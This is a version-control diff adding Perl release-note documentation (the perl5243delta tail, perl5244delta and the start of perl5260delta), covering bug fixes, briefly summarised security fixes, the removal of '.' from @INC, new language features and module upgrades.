+The same was true of C<if> and C<unless> statement modifiers, though with the
+left-hand and right-hand sides swapped.  This long-standing bug has now been
+fixed.
+L<[perl #127952]|https://rt.perl.org/Public/Bug/Display.html?id=127952>
+
+=item *
+
+C<reset> with an argument no longer crashes when encountering stash entries
+other than globs.
+L<[perl #128106]|https://rt.perl.org/Public/Bug/Display.html?id=128106>
+
+=item *
+
+Assignment of hashes to, and deletion of, typeglobs named C<*::::::> no longer
+causes crashes.
+L<[perl #128086]|https://rt.perl.org/Public/Bug/Display.html?id=128086>
+
+=item *
+
+Assignment variants of any bitwise ops under the C<bitwise> feature would crash
+if the left-hand side was an array or hash.
+L<[perl #128204]|https://rt.perl.org/Public/Bug/Display.html?id=128204>
+
+=item *
+
+C<socket> now leaves the error code returned by the system in C<$!> on failure.
+L<[perl #128316]|https://rt.perl.org/Public/Bug/Display.html?id=128316>
+
+=item *
+
+Parsing bad POSIX charclasses no longer leaks memory.
+L<[perl #128313]|https://rt.perl.org/Public/Bug/Display.html?id=128313>
+
+=item *
+
+Since Perl 5.20, line numbers have been off by one when perl is invoked with
+the B<-x> switch.  This has been fixed.
+L<[perl #128508]|https://rt.perl.org/Public/Bug/Display.html?id=128508>
+
+=item *
+
+Some obscure cases of subroutines and file handles being freed at the same time
+could result in crashes, but have been fixed.  The crash was introduced in Perl
+5.22.
+L<[perl #128597]|https://rt.perl.org/Public/Bug/Display.html?id=128597>
+
+=item *
+
+Some regular expression parsing glitches could lead to assertion failures with
+regular expressions such as C</(?E<lt>=/> and C</(?E<lt>!/>.  This has now been
+fixed.
+L<[perl #128170]|https://rt.perl.org/Public/Bug/Display.html?id=128170>
+
+=item *
+
+C<gethostent> and similar functions now perform a null check internally, to
+avoid crashing with the torsocks library.  This was a regression from Perl
+5.22.
+L<[perl #128740]|https://rt.perl.org/Public/Bug/Display.html?id=128740>
+
+=item *
+
+Mentioning the same constant twice in a row (which is a syntax error) no longer
+fails an assertion under debugging builds.  This was a regression from Perl
+5.20.
+L<[perl #126482]|https://rt.perl.org/Public/Bug/Display.html?id=126482>
+
+=item *
+
+In Perl 5.24 C<fchown> was changed not to accept negative one as an argument
+because in some platforms that is an error.  However, in some other platforms
+that is an acceptable argument.  This change has been reverted.
+L<[perl #128967]|https://rt.perl.org/Public/Bug/Display.html?id=128967>.
+
+=item *
+
+C<@{x> followed by a newline where C<"x"> represents a control or non-ASCII
+character no longer produces a garbled syntax error message or a crash.
+L<[perl #128951]|https://rt.perl.org/Public/Bug/Display.html?id=128951>
+
+=item *
+
+A regression in Perl 5.24 with C<tr/\N{U+...}/foo/> when the code point was
+between 128 and 255 has been fixed.
+L<[perl #128734]|https://rt.perl.org/Public/Bug/Display.html?id=128734>.
+
+=item *
+
+Many issues relating to C<printf "%a"> of hexadecimal floating point were
+fixed.  In addition, the "subnormals" (formerly known as "denormals") floating
+point numbers are now supported both with the plain IEEE 754 floating point
+numbers (64-bit or 128-bit) and the x86 80-bit "extended precision".  Note that
+subnormal hexadecimal floating point literals will give a warning about
+"exponent underflow".
+L<[perl #128843]|https://rt.perl.org/Public/Bug/Display.html?id=128843>
+L<[perl #128888]|https://rt.perl.org/Public/Bug/Display.html?id=128888>
+L<[perl #128889]|https://rt.perl.org/Public/Bug/Display.html?id=128889>
+L<[perl #128890]|https://rt.perl.org/Public/Bug/Display.html?id=128890>
+L<[perl #128893]|https://rt.perl.org/Public/Bug/Display.html?id=128893>
+L<[perl #128909]|https://rt.perl.org/Public/Bug/Display.html?id=128909>
+L<[perl #128919]|https://rt.perl.org/Public/Bug/Display.html?id=128919>
+
+=item *
+
+The parser could sometimes crash if a bareword came after C<evalbytes>.
+L<[perl #129196]|https://rt.perl.org/Public/Bug/Display.html?id=129196>
+
+=item *
+
+Fixed a place where the regex parser was not setting the syntax error correctly
+on a syntactically incorrect pattern.
+L<[perl #129122]|https://rt.perl.org/Public/Bug/Display.html?id=129122>
+
+=item *
+
+A vulnerability in Perl's C<sprintf> implementation has been fixed by avoiding
+a possible memory wrap.
+L<[perl #131260]|https://rt.perl.org/Public/Bug/Display.html?id=131260>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.24.3 represents approximately 2 months of development since Perl 5.24.2
+and contains approximately 3,200 lines of changes across 120 files from 23
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,600 lines of changes to 56 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.24.3:
+
+Aaron Crane, Craig A. Berry, Dagfinn Ilmari Mannsåker, Dan Collins, Daniel
+Dragan, Dave Cross, David Mitchell, Eric Herman, Father Chrysostomos, H.Merijn
+Brand, Hugo van der Sanden, James E Keenan, Jarkko Hietaniemi, John SJ
+Anderson, Karl Williamson, Ken Brown, Lukas Mai, Matthew Horsfall, Stevan
+Little, Steve Hay, Steven Humphrey, Tony Cook, Yves Orton.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION> for details of how to
+report the issue.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Added: vendor/perl/dist/pod/perl5244delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5244delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5244delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,130 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5244delta - what is new for perl v5.24.4
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.24.3 release and the 5.24.4
+release.
+
+If you are upgrading from an earlier release such as 5.24.2, first read
+L<perl5243delta>, which describes differences between 5.24.2 and 5.24.3.
+
+=head1 Security
+
+=head2 [CVE-2018-6797] heap-buffer-overflow (WRITE of size 1) in S_regatom (regcomp.c)
+
+A crafted regular expression could cause a heap buffer write overflow, with
+control over the bytes written.
+L<[perl #132227]|https://rt.perl.org/Public/Bug/Display.html?id=132227>
+
+=head2 [CVE-2018-6798] Heap-buffer-overflow in Perl__byte_dump_string (utf8.c)
+
+Matching a crafted locale dependent regular expression could cause a heap
+buffer read overflow and potentially information disclosure.
+L<[perl #132063]|https://rt.perl.org/Public/Bug/Display.html?id=132063>
+
+=head2 [CVE-2018-6913] heap-buffer-overflow in S_pack_rec
+
+C<pack()> could cause a heap buffer write overflow with a large item count.
+L<[perl #131844]|https://rt.perl.org/Public/Bug/Display.html?id=131844>
+
+=head2 Assertion failure in Perl__core_swash_init (utf8.c)
+
+Control characters in a supposed Unicode property name could cause perl to
+crash.  This has been fixed.
+L<[perl #132055]|https://rt.perl.org/Public/Bug/Display.html?id=132055>
+L<[perl #132553]|https://rt.perl.org/Public/Bug/Display.html?id=132553>
+L<[perl #132658]|https://rt.perl.org/Public/Bug/Display.html?id=132658>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.24.3.  If any exist,
+they are bugs, and we request that you submit a report.  See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170922_24 to 5.20180414_24.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+The C<readpipe()> built-in function now checks at compile time that it has only
+one parameter expression, and puts it in scalar context, thus ensuring that it
+doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Public/Bug/Display.html?id=4574>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.24.4 represents approximately 7 months of development since Perl 5.24.3
+and contains approximately 2,400 lines of changes across 49 files from 12
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,300 lines of changes to 12 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers.  The following people are known to have contributed
+the improvements that became Perl 5.24.4:
+
+Abigail, Chris 'BinGOs' Williams, John SJ Anderson, Karen Etheridge, Karl
+Williamson, Renee Baecker, Sawyer X, Steve Hay, Todd Rinaldo, Tony Cook, Yves
+Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history.  In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core.  We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release.  Be sure to trim your bug down to a tiny but
+sufficient test case.  Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut

Added: vendor/perl/dist/pod/perl5260delta.pod
===================================================================
--- vendor/perl/dist/pod/perl5260delta.pod	                        (rev 0)
+++ vendor/perl/dist/pod/perl5260delta.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3334 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5260delta - what is new for perl v5.26.0
+
+=head1 DESCRIPTION
+
+This document describes the differences between the 5.24.0 release and the
+5.26.0 release.
+
+=head1 Notice
+
+This release includes three updates with widespread effects:
+
+=over 4
+
+=item * C<"."> no longer in C<@INC>
+
+For security reasons, the current directory (C<".">) is no longer included
+by default at the end of the module search path (C<@INC>). This may have
+widespread implications for the building, testing and installing of
+modules, and for the execution of scripts.  See the section
+L<< Removal of the current directory (C<".">) from C<@INC> >>
+for the full details.
+
+=item * C<do> may now warn
+
+C<do> now gives a deprecation warning when it fails to load a file which
+it would have loaded had C<"."> been in C<@INC>.
+
+=item * In regular expression patterns, a literal left brace C<"{">
+should be escaped
+
+See L</Unescaped literal C<"{"> characters in regular expression patterns are no longer permissible>.
+
+=back
+
+=head1 Core Enhancements
+
+=head2 Lexical subroutines are no longer experimental
+
+Using the C<lexical_subs> feature introduced in v5.18 no longer emits a warning.  Existing
+code that disables the C<experimental::lexical_subs> warning category
+that the feature previously used will continue to work.  The
+C<lexical_subs> feature has no effect; all Perl code can use lexical
+subroutines, regardless of what feature declarations are in scope.
+
+=head2 Indented Here-documents
+
+This adds a new modifier C<"~"> to here-docs that tells the parser
+that it should look for C</^\s*$DELIM\n/> as the closing delimiter.
+
+These syntaxes are all supported:
+
+    <<~EOF;
+    <<~\EOF;
+    <<~'EOF';
+    <<~"EOF";
+    <<~`EOF`;
+    <<~ 'EOF';
+    <<~ "EOF";
+    <<~ `EOF`;
+
+The C<"~"> modifier will strip, from each line in the here-doc, the
+same whitespace that appears before the delimiter.
+
+Newlines will be copied as-is, and lines that don't include the
+proper beginning whitespace will cause perl to croak.
+
+For example:
+
+    if (1) {
+      print <<~EOF;
+        Hello there
+        EOF
+    }
+
+prints "Hello there\n" with no leading whitespace.
+
+=head2 New regular expression modifier C</xx>
+
+Specifying two C<"x"> characters to modify a regular expression pattern
+does everything that a single one does, but additionally TAB and SPACE
+characters within a bracketed character class are generally ignored and
+can be added to improve readability, like
+S<C</[ ^ A-Z d-f p-x ]/xx>>.  Details are at
+L<perlre/E<sol>x and E<sol>xx>.
+
+=head2 C<@{^CAPTURE}>, C<%{^CAPTURE}>, and C<%{^CAPTURE_ALL}>
+
+C<@{^CAPTURE}> exposes the capture buffers of the last match as an
+array.  So C<$1> is C<${^CAPTURE}[0]>.  This is a more efficient equivalent
+to code like C<substr($matched_string,$-[0],$+[0]-$-[0])>, and you don't
+have to keep track of the C<$matched_string> either.  This variable has no
+single character equivalent.  Note that, like the other regex magic variables,
+the contents of this variable is dynamic; if you wish to store it beyond
+the lifetime of the match you must copy it to another array.
+
+C<%{^CAPTURE}> is equivalent to C<%+> (I<i.e.>, named captures).  Other than
+being more self-documenting there is no difference between the two forms.
+
+C<%{^CAPTURE_ALL}> is equivalent to C<%-> (I<i.e.>, all named captures).
+Other than being more self-documenting there is no difference between the
+two forms.
+
+=head2 Declaring a reference to a variable
+
+As an experimental feature, Perl now allows the referencing operator to come
+after L<C<my()>|perlfunc/my>, L<C<state()>|perlfunc/state>,
+L<C<our()>|perlfunc/our>, or L<C<local()>|perlfunc/local>.  This syntax must
+be enabled with C<use feature 'declared_refs'>.  It is experimental, and will
+warn by default unless C<no warnings 'experimental::refaliasing'> is in effect.
+It is intended mainly for use in assignments to references.  For example:
+
+    use experimental 'refaliasing', 'declared_refs';
+    my \$a = \$b;
+
+See L<perlref/Assigning to References> for more details.
+
+=head2 Unicode 9.0 is now supported
+
+A list of changes is at L<http://www.unicode.org/versions/Unicode9.0.0/>.
+Modules that are shipped with core Perl but not maintained by p5p do not
+necessarily support Unicode 9.0.  L<Unicode::Normalize> does work on 9.0.
+
+=head2 Use of C<\p{I<script>}> uses the improved Script_Extensions property
+
+Unicode 6.0 introduced an improved form of the Script (C<sc>) property, and
+called it Script_Extensions (C<scx>).  Perl now uses this improved
+version when a property is specified as just C<\p{I<script>}>.  This
+should make programs more accurate when determining if a character is
+used in a given script, but there is a slight chance of breakage for
+programs that very specifically needed the old behavior.  The meaning of
+compound forms, like C<\p{sc=I<script>}> are unchanged.  See
+L<perlunicode/Scripts>.
+
+=head2 Perl can now do default collation in UTF-8 locales on platforms
+that support it
+
+Some platforms natively do a reasonable job of collating and sorting in
+UTF-8 locales.  Perl now works with those.  For portability and full
+control, L<Unicode::Collate> is still recommended, but now you may
+not need to do anything special to get good-enough results, depending on
+your application.  See
+L<perllocale/Category C<LC_COLLATE>: Collation: Text Comparisons and Sorting>.
+
+=head2 Better locale collation of strings containing embedded C<NUL>
+characters
+
+In locales that have multi-level character weights, C<NUL>s are now
+ignored at the higher priority ones.  There are still some gotchas in
+some strings, though.  See
+L<perllocale/Collation of strings containing embedded C<NUL> characters>.
+
+=head2 C<CORE> subroutines for hash and array functions callable via
+reference
+
+The hash and array functions in the C<CORE> namespace (C<keys>, C<each>,
+C<values>, C<push>, C<pop>, C<shift>, C<unshift> and C<splice>) can now
+be called with ampersand syntax (C<&CORE::keys(\%hash>) and via reference
+(C<< my $k = \&CORE::keys; $k-E<gt>(\%hash) >>).  Previously they could only be
+used when inlined.
+
+=head2 New Hash Function For 64-bit Builds
+
+We have switched to a hybrid hash function to better balance
+performance for short and long keys.
+
+For short keys, 16 bytes and under, we use an optimised variant of
+One At A Time Hard, and for longer keys we use Siphash 1-3.  For very
+long keys this is a big improvement in performance.  For shorter keys
+there is a modest improvement.
+
+=head1 Security
+
+=head2 Removal of the current directory (C<".">) from C<@INC>
+
+The perl binary includes a default set of paths in C<@INC>.  Historically
+it has also included the current directory (C<".">) as the final entry,
+unless run with taint mode enabled (C<perl -T>).  While convenient, this has
+security implications: for example, where a script attempts to load an
+optional module when its current directory is untrusted (such as F</tmp>),
+it could load and execute code from under that directory.
+
+Starting with v5.26, C<"."> is always removed by default, not just under
+tainting.  This has major implications for installing modules and executing
+scripts.
+
+The following new features have been added to help ameliorate these
+issues.
+
+=over
+
+=item * F<Configure -Udefault_inc_excludes_dot>
+
+There is a new F<Configure> option, C<default_inc_excludes_dot> (enabled
+by default) which builds a perl executable without C<".">; unsetting this
+option using C<-U> reverts perl to the old behaviour.  This may fix your
+path issues but will reintroduce all the security concerns, so don't
+build a perl executable like this unless you're I<really> confident that
+such issues are not a concern in your environment.
+
+=item * C<PERL_USE_UNSAFE_INC>
+
+There is a new environment variable recognised by the perl interpreter.
+If this variable has the value 1 when the perl interpreter starts up,
+then C<"."> will be automatically appended to C<@INC> (except under tainting).
+
+This allows you restore the old perl interpreter behaviour on a
+case-by-case basis.  But note that this is intended to be a temporary crutch,
+and this feature will likely be removed in some future perl version.
+It is currently set by the C<cpan> utility and C<Test::Harness> to
+ease installation of CPAN modules which have not been updated to handle the
+lack of dot.  Once again, don't use this unless you are sure that this
+will not reintroduce any security concerns.
+
+=item * A new deprecation warning issued by C<do>.
+
+While it is well-known that C<use> and C<require> use C<@INC> to search
+for the file to load, many people don't realise that C<do "file"> also
+searches C<@INC> if the file is a relative path.  With the removal of C<".">,
+a simple C<do "file.pl"> will fail to read in and execute C<file.pl> from
+the current directory.  Since this is commonly expected behaviour, a new
+deprecation warning is now issued whenever C<do> fails to load a file which
+it otherwise would have found if a dot had been in C<@INC>.
+
+=back
+
+Here are some things script and module authors may need to do to make
+their software work in the new regime.
+
+=over
+
+=item * Script authors
+
+If the issue is within your own code (rather than within included
+modules), then you have two main options.  Firstly, if you are confident
+that your script will only be run within a trusted directory (under which
+you expect to find trusted files and modules), then add C<"."> back into the
+path; I<e.g.>:
+
+    BEGIN {
+        my $dir = "/some/trusted/directory";
+        chdir $dir or die "Can't chdir to $dir: $!\n";
+        # safe now
+        push @INC, '.';
+    }
+
+    use "Foo::Bar"; # may load /some/trusted/directory/Foo/Bar.pm
+    do "config.pl"; # may load /some/trusted/directory/config.pl
+
+On the other hand, if your script is intended to be run from within
+untrusted directories (such as F</tmp>), then your script suddenly failing
+to load files may be indicative of a security issue.  You most likely want
+to replace any relative paths with full paths; for example,
+
+    do "foo_config.pl"
+
+might become
+
+    do "$ENV{HOME}/foo_config.pl"
+
+If you are absolutely certain that you want your script to load and
+execute a file from the current directory, then use a C<./> prefix; for
+example:
+
+    do "./foo_config.pl"
+
+=item * Installing and using CPAN modules
+
+If you install a CPAN module using an automatic tool like C<cpan>, then
+this tool will itself set the C<PERL_USE_UNSAFE_INC> environment variable
+while building and testing the module, which may be sufficient to install
+a distribution which hasn't been updated to be dot-aware.  If you want to
+install such a module manually, then you'll need to replace the
+traditional invocation:
+
+    perl Makefile.PL && make && make test && make install
+
+with something like
+
+    (export PERL_USE_UNSAFE_INC=1; \
+     perl Makefile.PL && make && make test && make install)
+
+Note that this only helps build and install an unfixed module.  It's
+possible for the tests to pass (since they were run under
+C<PERL_USE_UNSAFE_INC=1>), but for the module itself to fail to perform
+correctly in production.  In this case, you may have to temporarily modify
+your script until a fixed version of the module is released.
+For example:
+
+    use Foo::Bar;
+    {
+        local @INC = (@INC, '.');
+        # assuming read_config() needs '.' in @INC
+        $config = Foo::Bar->read_config();
+    }
+
+This is only rarely expected to be necessary.  Again, if doing this,
+assess the resultant risks first.
+
+=item * Module Authors
+
+If you maintain a CPAN distribution, it may need updating to run in
+a dotless environment.  Although C<cpan> and other such tools will
+currently set the C<PERL_USE_UNSAFE_INC> during module build, this is a
+temporary workaround for the set of modules which rely on C<"."> being in
+C<@INC> for installation and testing, and this may mask deeper issues.  It
+could result in a module which passes tests and installs, but which
+fails at run time.
+
+During build, test, and install, it will normally be the case that any perl
+processes will be executing directly within the root directory of the
+untarred distribution, or a known subdirectory of that, such as F<t/>.  It
+may well be that F<Makefile.PL> or F<t/foo.t> will attempt to include
+local modules and configuration files using their direct relative
+filenames, which will now fail.
+
+However, as described above, automatic tools like F<cpan> will (for now)
+set the C<PERL_USE_UNSAFE_INC> environment variable, which introduces
+dot during a build.
+
+This makes it likely that your existing build and test code will work, but
+this may mask issues with your code which only manifest when used after
+install.  It is prudent to try and run your build process with that
+variable explicitly disabled:
+
+    (export PERL_USE_UNSAFE_INC=0; \
+     perl Makefile.PL && make && make test && make install)
+
+This is more likely to show up any potential problems with your module's
+build process, or even with the module itself.  Fixing such issues will
+ensure both that your module can again be installed manually, and that
+it will still build once the C<PERL_USE_UNSAFE_INC> crutch goes away.
+
+When fixing issues in tests due to the removal of dot from C<@INC>,
+reinsertion of dot into C<@INC> should be performed with caution, for this
+too may suppress real errors in your runtime code.  You are encouraged
+wherever possible to apply the aforementioned approaches with explicit
+absolute/relative paths, or to relocate your needed files into a
+subdirectory and insert that subdirectory into C<@INC> instead.
+
+If your runtime code has problems under the dotless C<@INC>, then the comments
+above on how to fix for script authors will mostly apply here too.  Bear in
+mind though that it is considered bad form for a module to globally add a dot to
+C<@INC>, since it introduces both a security risk and hides issues of
+accidentally requiring dot in C<@INC>, as explained above.
+
+=back
+
+=head2 Escaped colons and relative paths in PATH
+
+On Unix systems, Perl treats any relative paths in the C<PATH> environment
+variable as tainted when starting a new process.  Previously, it was
+allowing a backslash to escape a colon (unlike the OS), consequently
+allowing relative paths to be considered safe if the PATH was set to
+something like C</\:.>.  The check has been fixed to treat C<"."> as tainted
+in that example.
+
+=head2 New C<-Di> switch is now required for PerlIO debugging output
+
+This is used for debugging of code within PerlIO to avoid recursive
+calls.  Previously this output would be sent to the file specified
+by the C<PERLIO_DEBUG> environment variable if perl wasn't running
+setuid and the C<-T> or C<-t> switches hadn't been parsed yet.
+
+If perl performed output at a point where it hadn't yet parsed its
+switches this could result in perl creating or overwriting the file
+named by C<PERLIO_DEBUG> even when the C<-T> switch had been supplied.
+
+Perl now requires the C<-Di> switch to be present before it will produce
+PerlIO debugging
+output.  By default this is written to C<stderr>, but can optionally
+be redirected to a file by setting the C<PERLIO_DEBUG> environment
+variable.
+
+If perl is running setuid or the C<-T> switch was supplied,
+C<PERLIO_DEBUG> is ignored and the debugging output is sent to
+C<stderr> as for any other C<-D> switch.
+
+=head1 Incompatible Changes
+
+=head2 Unescaped literal C<"{"> characters in regular expression
+patterns are no longer permissible
+
+You have to now say something like C<"\{"> or C<"[{]"> to specify to
+match a LEFT CURLY BRACKET; otherwise, it is a fatal pattern compilation
+error.  This change will allow future extensions to the language.
+
+These have been deprecated since v5.16, with a deprecation message
+raised for some uses starting in v5.22.  Unfortunately, the code added
+to raise the message was buggy and failed to warn in some cases where
+it should have.  Therefore, enforcement of this ban for these cases is
+deferred until Perl 5.30, but the code has been fixed to raise a
+default-on deprecation message for them in the meantime.
+
+Some uses of literal C<"{"> occur in contexts where we do not foresee
+the meaning ever being anything but the literal, such as the very first
+character in the pattern, or after a C<"|"> meaning alternation.  Thus
+
+ qr/{fee|{fie/
+
+matches either of the strings C<{fee> or C<{fie>.  To avoid forcing
+unnecessary code changes, these uses do not need to be escaped, and no
+warning is raised about them, and there are no current plans to change this.
+
+But it is always correct to escape C<"{">, and the simple rule to
+remember is to always do so.
+
+See L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>.
+
+=head2 C<scalar(%hash)> return signature changed
+
+The value returned for C<scalar(%hash)> will no longer show information about
+the buckets allocated in the hash.  It will simply return the count of used
+keys.  It is thus equivalent to C<0+keys(%hash)>.
+
+A form of backward compatibility is provided via
+L<C<Hash::Util::bucket_ratio()>|Hash::Util/bucket_ratio> which provides
+the same behavior as
+C<scalar(%hash)> provided in Perl 5.24 and earlier.
+
+=head2 C<keys> returned from an lvalue subroutine
+
+C<keys> returned from an lvalue subroutine can no longer be assigned
+to in list context.
+
+    sub foo : lvalue { keys(%INC) }
+    (foo) = 3; # death
+    sub bar : lvalue { keys(@_) }
+    (bar) = 3; # also an error
+
+This makes the lvalue sub case consistent with C<(keys %hash) = ...> and
+C<(keys @_) = ...>, which are also errors.
+L<[perl #128187]|https://rt.perl.org/Public/Bug/Display.html?id=128187>
+
+=head2 The C<${^ENCODING}> facility has been removed
+
+The special behaviour associated with assigning a value to this variable
+has been removed.  As a consequence, the L<encoding> pragma's default mode
+is no longer supported.  If
+you still need to write your source code in encodings other than UTF-8, use a
+source filter such as L<Filter::Encoding> on CPAN or L<encoding>'s C<Filter>
+option.
+
+=head2 C<POSIX::tmpnam()> has been removed
+
+The fundamentally unsafe C<tmpnam()> interface was deprecated in
+Perl 5.22 and has now been removed.  In its place, you can use,
+for example, the L<File::Temp> interfaces.
+
+=head2 require ::Foo::Bar is now illegal.
+
+Formerly, C<require ::Foo::Bar> would try to read F</Foo/Bar.pm>.  Now any
+bareword require which starts with a double colon dies instead.
+
+=head2 Literal control character variable names are no longer permissible
+
+A variable name may no longer contain a literal control character under
+any circumstances.  These previously were allowed in single-character
+names on ASCII platforms, but have been deprecated there since Perl
+5.20.  This affects things like C<$I<\cT>>, where I<\cT> is a literal
+control (such as a C<NAK> or C<NEGATIVE ACKNOWLEDGE> character) in the
+source code.
+
+=head2 C<NBSP> is no longer permissible in C<\N{...}>
+
+The name of a character may no longer contain non-breaking spaces.  It
+has been deprecated to do so since Perl 5.22.
+
+=head1 Deprecations
+
+=head2 String delimiters that aren't stand-alone graphemes are now deprecated
+
+For Perl to eventually allow string delimiters to be Unicode
+grapheme clusters (which look like a single character, but may be
+a sequence of several ones), we have to stop allowing a single character
+delimiter that isn't a grapheme by itself.  These are unlikely to exist
+in actual code, as they would typically display as attached to the
+character in front of them.
+
+=head2 C<\cI<X>> that maps to a printable is no longer deprecated
+
+This means we have no plans to remove this feature.  It still raises a
+warning, but only if syntax warnings are enabled.  The feature was
+originally intended to be a way to express non-printable characters that
+don't have a mnemonic (C<\t> and C<\n> are mnemonics for two
+non-printable characters, but most non-printables don't have a
+mnemonic.)  But the feature can be used to specify a few printable
+characters, though those are more clearly expressed as the printable
+itself.  See
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2017/02/msg242944.html>.
+
+=head1 Performance Enhancements
+
+=over 4
+
+=item *
+
+A hash in boolean context is now sometimes faster, I<e.g.>
+
+    if (!%h) { ... }
+
+This was already special-cased, but some cases were missed (such as
+C<grep %$_, @AoH>), and even the ones which weren't have been improved.
+
+=item * New Faster Hash Function on 64 bit builds
+
+We use a different hash function for short and long keys.  This should
+improve performance and security, especially for long keys.
+
+=item * readline is faster
+
+Reading from a file line-by-line with C<readline()> or C<< E<lt>E<gt> >> should
+now typically be faster due to a better implementation of the code that
+searches for the next newline character.
+
+=item *
+
+Assigning one reference to another, I<e.g.> C<$ref1 = $ref2> has been
+optimized in some cases.
+
+=item *
+
+Remove some exceptions to creating Copy-on-Write strings. The string
+buffer growth algorithm has been slightly altered so that you're less
+likely to encounter a string which can't be COWed.
+
+=item *
+
+Better optimise array and hash assignment: where an array or hash appears
+in the LHS of a list assignment, such as C<(..., @a) = (...);>, it's
+likely to be considerably faster, especially if it involves emptying the
+array/hash. For example, this code runs about a third faster compared to
+Perl 5.24.0:
+
+    my @a;
+    for my $i (1..10_000_000) {
+        @a = (1,2,3);
+        @a = ();
+    }
+
+=item *
+
+Converting a single-digit string to a number is now substantially faster.
+
+=item *
+
+The C<split> builtin is now slightly faster in many cases: in particular
+for the two specially-handled forms
+
+    my    @a = split ...;
+    local @a = split ...;
+
+=item *
+
+The rather slow implementation for the experimental subroutine signatures
+feature has been made much faster; it is now comparable in speed with the
+traditional C<my ($a, $b, @c) = @_>.
+
+=item *
+
+Bareword constant strings are now permitted to take part in constant
+folding.  They were originally exempted from constant folding in August 1999,
+during the development of Perl 5.6, to ensure that C<use strict "subs">
+would still apply to bareword constants.  That has now been accomplished a
+different way, so barewords, like other constants, now gain the performance
+benefits of constant folding.
+
+This also means that void-context warnings on constant expressions of
+barewords now report the folded constant operand, rather than the operation;
+this matches the behaviour for non-bareword constants.
+
+=back
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+IO::Compress has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Archive::Tar> has been upgraded from version 2.04 to 2.24.
+
+=item *
+
+L<arybase> has been upgraded from version 0.11 to 0.12.
+
+=item *
+
+L<attributes> has been upgraded from version 0.27 to 0.29.
+
+The deprecation message for the C<:unique> and C<:locked> attributes
+now mention that they will disappear in Perl 5.28.
+
+=item *
+
+L<B> has been upgraded from version 1.62 to 1.68.
+
+=item *
+
+L<B::Concise> has been upgraded from version 0.996 to 0.999.
+
+Its output is now more descriptive for C<op_private> flags.
+
+=item *
+
+L<B::Debug> has been upgraded from version 1.23 to 1.24.
+
+=item *
+
+L<B::Deparse> has been upgraded from version 1.37 to 1.40.
+
+=item *
+
+L<B::Xref> has been upgraded from version 1.05 to 1.06.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<base> has been upgraded from version 2.23 to 2.25.
+
+=item *
+
+L<bignum> has been upgraded from version 0.42 to 0.47.
+
+=item *
+
+L<Carp> has been upgraded from version 1.40 to 1.42.
+
+=item *
+
+L<charnames> has been upgraded from version 1.43 to 1.44.
+
